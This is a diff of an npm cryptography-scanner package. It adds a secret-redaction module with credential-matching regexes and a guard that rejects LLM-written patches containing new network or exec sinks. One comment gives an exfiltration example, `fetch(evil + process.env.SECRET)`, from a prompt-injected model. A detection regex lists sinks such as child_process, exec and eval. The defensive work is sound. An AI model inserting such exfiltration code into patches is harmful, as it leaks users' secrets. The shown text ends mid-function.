@quantakrypto/core 0.4.1 → 0.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +38 -10
- package/dist/agent-types.js.map +1 -1
- package/dist/baseline.js.map +1 -1
- package/dist/cache.js.map +1 -1
- package/dist/cbom.d.ts.map +1 -1
- package/dist/cbom.js +13 -4
- package/dist/cbom.js.map +1 -1
- package/dist/changed.js.map +1 -1
- package/dist/codemods/config-toggle.js.map +1 -1
- package/dist/codemods/registry.js.map +1 -1
- package/dist/comments.d.ts +26 -0
- package/dist/comments.d.ts.map +1 -1
- package/dist/comments.js +141 -1
- package/dist/comments.js.map +1 -1
- package/dist/config.js.map +1 -1
- package/dist/cwe.js.map +1 -1
- package/dist/dependencies.d.ts +3 -2
- package/dist/dependencies.d.ts.map +1 -1
- package/dist/dependencies.js +151 -4
- package/dist/dependencies.js.map +1 -1
- package/dist/detect-utils.d.ts +14 -3
- package/dist/detect-utils.d.ts.map +1 -1
- package/dist/detect-utils.js +32 -4
- package/dist/detect-utils.js.map +1 -1
- package/dist/detectors/c.d.ts.map +1 -1
- package/dist/detectors/c.js +190 -2
- package/dist/detectors/c.js.map +1 -1
- package/dist/detectors/csharp.d.ts.map +1 -1
- package/dist/detectors/csharp.js +141 -3
- package/dist/detectors/csharp.js.map +1 -1
- package/dist/detectors/go.d.ts +5 -3
- package/dist/detectors/go.d.ts.map +1 -1
- package/dist/detectors/go.js +187 -3
- package/dist/detectors/go.js.map +1 -1
- package/dist/detectors/java.d.ts.map +1 -1
- package/dist/detectors/java.js +168 -3
- package/dist/detectors/java.js.map +1 -1
- package/dist/detectors/pem.d.ts.map +1 -1
- package/dist/detectors/pem.js +49 -1
- package/dist/detectors/pem.js.map +1 -1
- package/dist/detectors/python.d.ts.map +1 -1
- package/dist/detectors/python.js +74 -3
- package/dist/detectors/python.js.map +1 -1
- package/dist/detectors/ruby.d.ts +9 -5
- package/dist/detectors/ruby.d.ts.map +1 -1
- package/dist/detectors/ruby.js +122 -2
- package/dist/detectors/ruby.js.map +1 -1
- package/dist/detectors/rust.d.ts +8 -3
- package/dist/detectors/rust.d.ts.map +1 -1
- package/dist/detectors/rust.js +185 -3
- package/dist/detectors/rust.js.map +1 -1
- package/dist/detectors/source.d.ts.map +1 -1
- package/dist/detectors/source.js +131 -13
- package/dist/detectors/source.js.map +1 -1
- package/dist/detectors/stateful-hbs.d.ts +22 -0
- package/dist/detectors/stateful-hbs.d.ts.map +1 -0
- package/dist/detectors/stateful-hbs.js +139 -0
- package/dist/detectors/stateful-hbs.js.map +1 -0
- package/dist/errors.js.map +1 -1
- package/dist/evidence.d.ts +48 -0
- package/dist/evidence.d.ts.map +1 -0
- package/dist/evidence.js +76 -0
- package/dist/evidence.js.map +1 -0
- package/dist/index.d.ts +4 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +4 -2
- package/dist/index.js.map +1 -1
- package/dist/inventory.d.ts +2 -0
- package/dist/inventory.d.ts.map +1 -1
- package/dist/inventory.js +27 -1
- package/dist/inventory.js.map +1 -1
- package/dist/parallel.js +15 -0
- package/dist/parallel.js.map +1 -1
- package/dist/patch-policy.js.map +1 -1
- package/dist/redact.d.ts.map +1 -1
- package/dist/redact.js +122 -7
- package/dist/redact.js.map +1 -1
- package/dist/registry.d.ts +2 -2
- package/dist/registry.d.ts.map +1 -1
- package/dist/registry.js +4 -2
- package/dist/registry.js.map +1 -1
- package/dist/remediate-pipeline.d.ts +3 -0
- package/dist/remediate-pipeline.d.ts.map +1 -1
- package/dist/remediate-pipeline.js +50 -0
- package/dist/remediate-pipeline.js.map +1 -1
- package/dist/remediate-request.js.map +1 -1
- package/dist/remediation.d.ts +9 -3
- package/dist/remediation.d.ts.map +1 -1
- package/dist/remediation.js +33 -6
- package/dist/remediation.js.map +1 -1
- package/dist/report.d.ts +9 -0
- package/dist/report.d.ts.map +1 -1
- package/dist/report.js +31 -0
- package/dist/report.js.map +1 -1
- package/dist/scan-worker.js.map +1 -1
- package/dist/scan.d.ts.map +1 -1
- package/dist/scan.js +16 -2
- package/dist/scan.js.map +1 -1
- package/dist/severity.js.map +1 -1
- package/dist/triage.js.map +1 -1
- package/dist/types.d.ts +8 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/verify.js.map +1 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/dist/version.js.map +1 -1
- package/dist/walk.js.map +1 -1
- package/dist/worktree.d.ts.map +1 -1
- package/dist/worktree.js +10 -1
- package/dist/worktree.js.map +1 -1
- package/package.json +1 -1
- package/src/cbom.ts +13 -4
- package/src/comments.ts +140 -1
- package/src/dependencies.ts +156 -6
- package/src/detect-utils.ts +33 -4
- package/src/detectors/c.ts +202 -2
- package/src/detectors/csharp.ts +154 -3
- package/src/detectors/go.ts +209 -6
- package/src/detectors/java.ts +189 -3
- package/src/detectors/pem.ts +53 -1
- package/src/detectors/python.ts +82 -3
- package/src/detectors/ruby.ts +138 -7
- package/src/detectors/rust.ts +211 -7
- package/src/detectors/source.ts +163 -12
- package/src/detectors/stateful-hbs.ts +177 -0
- package/src/evidence.ts +124 -0
- package/src/index.ts +5 -1
- package/src/inventory.ts +31 -1
- package/src/parallel.ts +15 -0
- package/src/redact.ts +125 -8
- package/src/registry.ts +4 -2
- package/src/remediate-pipeline.ts +55 -0
- package/src/remediation.ts +41 -9
- package/src/report.ts +41 -2
- package/src/scan.ts +21 -2
- package/src/types.ts +8 -1
- package/src/version.ts +1 -1
- package/src/worktree.ts +9 -1
package/dist/redact.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAWA,qEAAqE;AACrE,MAAM,cAAc,GAAG,CAAC,CAAC;AAEzB;;;GAGG;AACH,MAAM,SAAS,GACb,uFAAuF,CAAC;AAE1F,SAAS,YAAY,CAAC,IAAY;IAChC,IAAI,Q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QACT,MAAM,KAAK,GAAG,SAAS,CAAC,CAAC,KAAK,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,mBAAmB,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC;QAC/E,MAAM,IAAI,GAAG,IAAI,CAAC,CAAC,IAAI,CAAC,QAAQ,KAAK,CAAC,CAAC,IAAI,CAAC,MAAM,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,KAAK,KAAK,GAAG,CAAC;QAC9F,OAAO,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,GAAG,IAAI,KAAK,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC;IAC9C,CAAC,CAAC;SACD,IAAI,CAAC,aAAa,CAAC,CAAC;AACzB,CAAC","sourcesContent":["/**\n * Context redactor: turn a finding + its file into the payload the LLM sees,\n * bounded to a chosen {@link ContextLevel} and with secrets ALWAYS stripped.\n *\n * This is a hard privacy boundary and lives in `@quantakrypto/core` (offline) so\n * the deterministic MCP plane redacts identically to the networked CLI. A\n * `sensitive` finding (the match IS key material) never emits code at any level.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\n\n/** Lines of context on each side of the match at `snippet` level. */\nconst SNIPPET_RADIUS = 8;\n\n/** The placeholder that replaces any redacted secret. */\nconst REDACTED = \"«redacted-secret»\";\n\n/**\n * Text longer than this is not scanned pattern-by-pattern — we fail CLOSED\n * (redact the whole thing). Bounds worst-case work and sidesteps any engine\n * limit on pathological single-token runs.\n */\nconst MAX_SECRET_SCAN = 2_000_000;\n\n/**\n * High-signal secret shapes. EVERY quantifier has an explicit upper bound so\n * matching stays linear — no catastrophic backtracking and no regex-engine\n * stack overflow on multi-megabyte runs (both were real DoS vectors with the\n * old unbounded `{120,}` / `[\\s\\S]*?` patterns). Private-key BLOCKS are handled\n * separately, line-by-line, so a truncated key (missing `-----END-----`) is\n * still caught.\n */\nconst TOKEN_PATTERNS: readonly RegExp[] = [\n /\\b(?:AKIA|ASIA)[A-Z0-9]{16}\\b/g, // AWS access key id\n /\\bgh[posru]_[A-Za-z0-9]{20,255}\\b/g, // GitHub token\n /\\bgithub_pat_[A-Za-z0-9_]{20,255}\\b/g, // GitHub fine-grained PAT\n /\\bxox[baprs]-[A-Za-z0-9-]{10,255}\\b/g, // Slack\n /\\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\\b/g, // OpenAI\n /\\b[rs]k_live_[A-Za-z0-9]{20,255}\\b/g, // Stripe\n /\\bAIza[A-Za-z0-9_-]{35}\\b/g, // Google API key\n /\\bglpat-[A-Za-z0-9_-]{20,255}\\b/g, // GitLab PAT\n /\\beyJ[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{6,4096}\\b/g, // JWT\n // Assignment of a secret-looking key (.env / config lines).\n /(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)[\"'`]?\\s*[:=]\\s*[\"'`]?[^\\s\"'`,;]{6,4096}/gi,\n /\\b[0-9a-fA-F]{40,4096}\\b/g, // long hex run (≥20 bytes)\n /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)\n];\n\n/** Shannon entropy of a string, in bits per character. */\nfunction shannonEntropy(s: string): number {\n const freq = new Map<string, number>();\n for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);\n let e = 0;\n for (const n of freq.values()) {\n const p = n / s.length;\n e -= p * Math.log2(p);\n }\n return e;\n}\n\n/**\n * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}\n * above miss (custom / novel key formats not tied to a known vendor prefix).\n * Best-effort and biased toward over-redaction (safe): only a *long*,\n * *high-entropy*, *charset-diverse* run is replaced, so ordinary code\n * identifiers, words, and prose are left intact for the LLM to work with.\n */\nconst HIGH_ENTROPY_RUN = /[A-Za-z0-9_\\-+/=.]{24,256}/g;\nfunction redactHighEntropy(text: string): { text: string; redacted: boolean } {\n let redacted = false;\n const out = text.replace(HIGH_ENTROPY_RUN, (m) => {\n const classes =\n (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);\n const hasSpecial = /[+/=_-]/.test(m);\n // Random secrets are charset-diverse AND high-entropy; identifiers usually\n // fail one of these (an identifier has repetition / structure → lower entropy).\n if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {\n redacted = true;\n return REDACTED;\n }\n return m;\n });\n return { text: out, redacted };\n}\n\n/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of\n * a missing END marker — a truncated key is still fully redacted). */\nfunction redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {\n const begin =\n /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;\n const end = /-----END /;\n let redacted = false;\n let inKey = false;\n const out: string[] = [];\n for (const line of text.split(\"\\n\")) {\n if (!inKey && begin.test(line)) {\n inKey = true;\n redacted = true;\n out.push(REDACTED);\n continue;\n }\n if (inKey) {\n if (end.test(line)) inKey = false;\n continue; // drop key-body / END lines\n }\n out.push(line);\n }\n return { text: out.join(\"\\n\"), redacted };\n}\n\n// Single-entry memo: same-file findings re-request the identical file content;\n// this makes the whole-file redaction O(n) across all of them instead of O(n·k).\nlet memoInput: string | undefined;\nlet memoResult: { text: string; redacted: boolean } | undefined;\n\n/** Replace every secret-looking token/block in `text` with {@link REDACTED}.\n * Fails CLOSED: on oversized input or any error, the whole text is redacted. */\nfunction stripSecrets(text: string): { text: string; redacted: boolean } {\n if (memoInput === text && memoResult) return memoResult;\n let result: { text: string; redacted: boolean };\n if (text.length > MAX_SECRET_SCAN) {\n result = { text: REDACTED, redacted: true };\n } else {\n try {\n const pem = redactPrivateKeyBlocks(text);\n let out = pem.text;\n let redacted = pem.redacted;\n for (const re of TOKEN_PATTERNS) {\n out = out.replace(re, () => {\n redacted = true;\n return REDACTED;\n });\n }\n // Best-effort entropy catch-all for novel token shapes the named patterns miss.\n const ent = redactHighEntropy(out);\n out = ent.text;\n redacted = redacted || ent.redacted;\n result = { text: out, redacted };\n } catch {\n result = { text: REDACTED, redacted: true };\n }\n }\n memoInput = text;\n memoResult = result;\n return result;\n}\n\n/** Best-effort enclosing brace/colon block around a 0-based line index. */\nfunction enclosingBlock(lines: string[], idx: number): string {\n let start = idx;\n while (start > 0 && !/[{:]\\s*$/.test(lines[start - 1] ?? \"\")) start--;\n let end = idx;\n let depth = 0;\n for (let i = start; i < lines.length; i++) {\n const line = lines[i] ?? \"\";\n depth += (line.match(/{/g) ?? []).length - (line.match(/}/g) ?? []).length;\n end = i;\n if (i > idx && depth <= 0) break;\n }\n return lines.slice(start, end + 1).join(\"\\n\");\n}\n\n/**\n * Build the redacted context for `finding` at `level`. `fileContent` is the full\n * text of the file the finding lives in (unused at `metadata` level). Secrets\n * are always removed; a `sensitive` finding yields `code: null`.\n */\nexport function buildContext(\n finding: Finding,\n level: ContextLevel,\n fileContent: string,\n): RedactedContext {\n const meta = {\n ruleId: finding.ruleId,\n algorithm: finding.algorithm,\n severity: finding.severity,\n hndl: finding.hndl,\n file: finding.location.file,\n line: finding.location.line,\n message: finding.message,\n };\n // Sensitive findings never emit code, at any level.\n if (finding.sensitive) return { level, meta, code: null, redactedSecret: true };\n if (level === \"metadata\") return { level, meta, code: null, redactedSecret: false };\n\n const lines = fileContent.split(\"\\n\");\n let code: string;\n if (level === \"file\") {\n code = fileContent;\n } else if (level === \"function\") {\n code = enclosingBlock(lines, finding.location.line - 1);\n } else {\n const i = finding.location.line - 1;\n code = lines.slice(Math.max(0, i - SNIPPET_RADIUS), i + SNIPPET_RADIUS + 1).join(\"\\n\");\n }\n const { text, redacted } = stripSecrets(code);\n return { level, meta, code: text, redactedSecret: redacted };\n}\n\n/** Render the exact payload text a `--dry-run` preflight would send. */\nexport function renderPreflight(contexts: RedactedContext[]): string {\n return contexts\n .map((c) => {\n const flags = `level=${c.level}${c.redactedSecret ? \", secret-redacted\" : \"\"}`;\n const head = `[${c.meta.severity}] ${c.meta.ruleId} ${c.meta.file}:${c.meta.line} (${flags})`;\n return c.code ? `${head}\\n${c.code}` : head;\n })\n .join(\"\\n\\n---\\n\\n\");\n}\n"]}
|
package/dist/registry.d.ts
CHANGED
|
@@ -51,8 +51,8 @@ export declare class DetectorRegistry {
|
|
|
51
51
|
/**
|
|
52
52
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
53
53
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
54
|
-
* then the language-agnostic PEM
|
|
55
|
-
* handled separately by `scan()`.
|
|
54
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
55
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
56
56
|
*
|
|
57
57
|
* This is the single source of truth for the default detector set: both
|
|
58
58
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
package/dist/registry.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAYpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EAWtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}
|
package/dist/registry.js
CHANGED
|
@@ -7,6 +7,7 @@ import { rustDetector } from "./detectors/rust.js";
|
|
|
7
7
|
import { rubyDetector } from "./detectors/ruby.js";
|
|
8
8
|
import { cDetector } from "./detectors/c.js";
|
|
9
9
|
import { pemDetector } from "./detectors/pem.js";
|
|
10
|
+
import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
|
|
10
11
|
/** Normalised scope of a detector (defaults to "source" when undeclared). */
|
|
11
12
|
export function detectorScope(d) {
|
|
12
13
|
return d.scope ?? "source";
|
|
@@ -83,8 +84,8 @@ export class DetectorRegistry {
|
|
|
83
84
|
/**
|
|
84
85
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
85
86
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
86
|
-
* then the language-agnostic PEM
|
|
87
|
-
* handled separately by `scan()`.
|
|
87
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
88
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
88
89
|
*
|
|
89
90
|
* This is the single source of truth for the default detector set: both
|
|
90
91
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
|
@@ -100,6 +101,7 @@ export const builtinDetectors = [
|
|
|
100
101
|
rubyDetector,
|
|
101
102
|
cDetector,
|
|
102
103
|
pemDetector,
|
|
104
|
+
statefulHbsDetector,
|
|
103
105
|
];
|
|
104
106
|
/**
|
|
105
107
|
* The default registry, preloaded with {@link builtinDetectors}. Used by
|
package/dist/registry.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAaA,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACnD,OAAO,EAAE,SAAS,EAAE,MAAM,kBAAkB,CAAC;AAC7C,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAaA,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAA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AO,SAAS,CAAC;IACnB,CAAC;IAED,uEAAuE;IACvE,KAAK;QACH,OAAO,IAAI,gBAAgB,CAAC,IAAI,CAAC,GAAG,EAAE,CAAC,CAAC;IAC1C,CAAC;CACF;AAED;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAe;IAC1C,GAAG,eAAe;IAClB,cAAc;IACd,UAAU;IACV,YAAY;IACZ,cAAc;IACd,YAAY;IACZ,YAAY;IACZ,SAAS;IACT,WAAW;IACX,mBAAmB;CACpB,CAAC;AAEF;;;GAGG;AACH,MAAM,CAAC,MAAM,eAAe,GAAG,IAAI,gBAAgB,CAAC,gBAAgB,CAAC,CAAC","sourcesContent":["/**\n * Detector registry — the plugin point for source/config detectors.\n *\n * Instead of `scan()` closing over a hardcoded array and inferring scope from\n * ruleId prefixes, detectors are registered with a declared `scope` and\n * `language` (see {@link Detector}). `scan()` consults a registry (the\n * {@link defaultRegistry} by default, or an explicit `detectors` override) and\n * honours the source/config toggles by each detector's declared scope.\n *\n * To add a language or detector, see the \"Adding a detector / language\" section\n * of the package README.\n */\nimport type { Detector, DetectorScope, RuleMeta } from \"./types.js\";\nimport { sourceDetectors } from \"./detectors/source.js\";\nimport { pythonDetector } from \"./detectors/python.js\";\nimport { goDetector } from \"./detectors/go.js\";\nimport { javaDetector } from \"./detectors/java.js\";\nimport { csharpDetector } from \"./detectors/csharp.js\";\nimport { rustDetector } from \"./detectors/rust.js\";\nimport { rubyDetector } from \"./detectors/ruby.js\";\nimport { cDetector } from \"./detectors/c.js\";\nimport { pemDetector } from \"./detectors/pem.js\";\nimport { statefulHbsDetector } from \"./detectors/stateful-hbs.js\";\n\n/** Normalised scope of a detector (defaults to \"source\" when undeclared). */\nexport function detectorScope(d: Detector): DetectorScope {\n return d.scope ?? \"source\";\n}\n\n/** A rule plus the detector that emits it — the result of {@link DetectorRegistry.forRule}. */\nexport interface RuleCatalogEntry {\n rule: RuleMeta;\n detector: Detector;\n}\n\n/**\n * An ordered, id-indexed collection of detectors. Registration order is\n * preserved by {@link all} for deterministic scan output. Ids must be unique.\n */\nexport class DetectorRegistry {\n private readonly byId = new Map<string, Detector>();\n private readonly order: string[] = [];\n\n /** Construct a registry, optionally seeded with an initial detector set. */\n constructor(initial: readonly Detector[] = []) {\n for (const d of initial) this.register(d);\n }\n\n /** Register a detector. Throws on a duplicate id. Returns `this` for chaining. */\n register(d: Detector): this {\n if (this.byId.has(d.id)) {\n throw new Error(`duplicate detector id: ${d.id}`);\n }\n this.byId.set(d.id, d);\n this.order.push(d.id);\n return this;\n }\n\n /** Look up a detector by its id (exact, not prefix). */\n get(id: string): Detector | undefined {\n return this.byId.get(id);\n }\n\n /** True if a detector with this id is registered. */\n has(id: string): boolean {\n return this.byId.has(id);\n }\n\n /** All registered detectors, in registration order. */\n all(): Detector[] {\n return this.order.map((id) => this.byId.get(id)!);\n }\n\n /**\n * The flattened rule catalog: every {@link RuleMeta} declared by every\n * registered detector, in detector-registration then in-detector order. This\n * is the single source of truth for rule metadata consumed by SARIF\n * `rules[]`, the MCP `explain_finding` resolver, and per-rule enable/disable.\n * Duplicate rule ids across detectors throw (ids are globally unique).\n */\n ruleCatalog(): RuleMeta[] {\n const out: RuleMeta[] = [];\n const seen = new Set<string>();\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (seen.has(rule.id)) {\n throw new Error(`duplicate rule id in catalog: ${rule.id}`);\n }\n seen.add(rule.id);\n out.push(rule);\n }\n }\n return out;\n }\n\n /** Resolve a rule id to its {@link RuleMeta} and the detector that emits it. */\n forRule(ruleId: string): RuleCatalogEntry | undefined {\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (rule.id === ruleId) return { rule, detector: det };\n }\n }\n return undefined;\n }\n\n /** A shallow copy of this registry (useful to extend the defaults). */\n clone(): DetectorRegistry {\n return new DetectorRegistry(this.all());\n }\n}\n\n/**\n * The built-in detectors, in run order: the JS/TS source + config detectors,\n * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),\n * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The\n * manifest (dependency) scanner is handled separately by `scan()`.\n *\n * This is the single source of truth for the default detector set: both\n * {@link defaultRegistry} and the public `detectors` export (re-exported from\n * `scan.ts`) are built from it, so the two can never drift out of sync.\n */\nexport const builtinDetectors: Detector[] = [\n ...sourceDetectors,\n pythonDetector,\n goDetector,\n javaDetector,\n csharpDetector,\n rustDetector,\n rubyDetector,\n cDetector,\n pemDetector,\n statefulHbsDetector,\n];\n\n/**\n * The default registry, preloaded with {@link builtinDetectors}. Used by\n * `scan()` whenever `options.detectors` is not supplied.\n */\nexport const defaultRegistry = new DetectorRegistry(builtinDetectors);\n"]}
|
|
@@ -33,6 +33,9 @@ export interface RemediateOptions {
|
|
|
33
33
|
/** Which files a patch is allowed to touch. */
|
|
34
34
|
policy: PolicyContext;
|
|
35
35
|
}
|
|
36
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
37
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
38
|
+
export declare const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
36
39
|
/**
|
|
37
40
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
38
41
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO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,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AAmBD;4EAC4E;AAC5E,eAAO,MAAM,2BAA2B,KAAK,CAAC;AAkC9C;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CAmC5B"}
|
|
@@ -6,6 +6,47 @@ function passesVerify(before, after, finding) {
|
|
|
6
6
|
const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));
|
|
7
7
|
return targetGone && noNewRuleTypes && after.length < before.length;
|
|
8
8
|
}
|
|
9
|
+
/**
|
|
10
|
+
* Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
|
|
11
|
+
* introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
|
|
12
|
+
* the rest of a full-file rewrite, so an injected/hostile model could drop the
|
|
13
|
+
* RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
|
|
14
|
+
* runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
|
|
15
|
+
*/
|
|
16
|
+
const NEW_SINK_RE = /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
|
|
17
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
18
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
19
|
+
export const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
20
|
+
function countMatches(re, s) {
|
|
21
|
+
return (s.match(re) ?? []).length;
|
|
22
|
+
}
|
|
23
|
+
/** Changed lines (removed + added) between two revisions, ignoring the shared
|
|
24
|
+
* prefix/suffix — same shape the CLI's unified-diff uses. */
|
|
25
|
+
function changedLineCount(before, after) {
|
|
26
|
+
const a = before.split("\n");
|
|
27
|
+
const b = after.split("\n");
|
|
28
|
+
let start = 0;
|
|
29
|
+
while (start < a.length && start < b.length && a[start] === b[start])
|
|
30
|
+
start++;
|
|
31
|
+
let endA = a.length - 1;
|
|
32
|
+
let endB = b.length - 1;
|
|
33
|
+
while (endA >= start && endB >= start && a[endA] === b[endB]) {
|
|
34
|
+
endA--;
|
|
35
|
+
endB--;
|
|
36
|
+
}
|
|
37
|
+
return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
|
|
38
|
+
}
|
|
39
|
+
/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
|
|
40
|
+
function llmPatchRisk(before, patch) {
|
|
41
|
+
if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
|
|
42
|
+
return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
|
|
43
|
+
}
|
|
44
|
+
const changed = changedLineCount(before, patch.newContent);
|
|
45
|
+
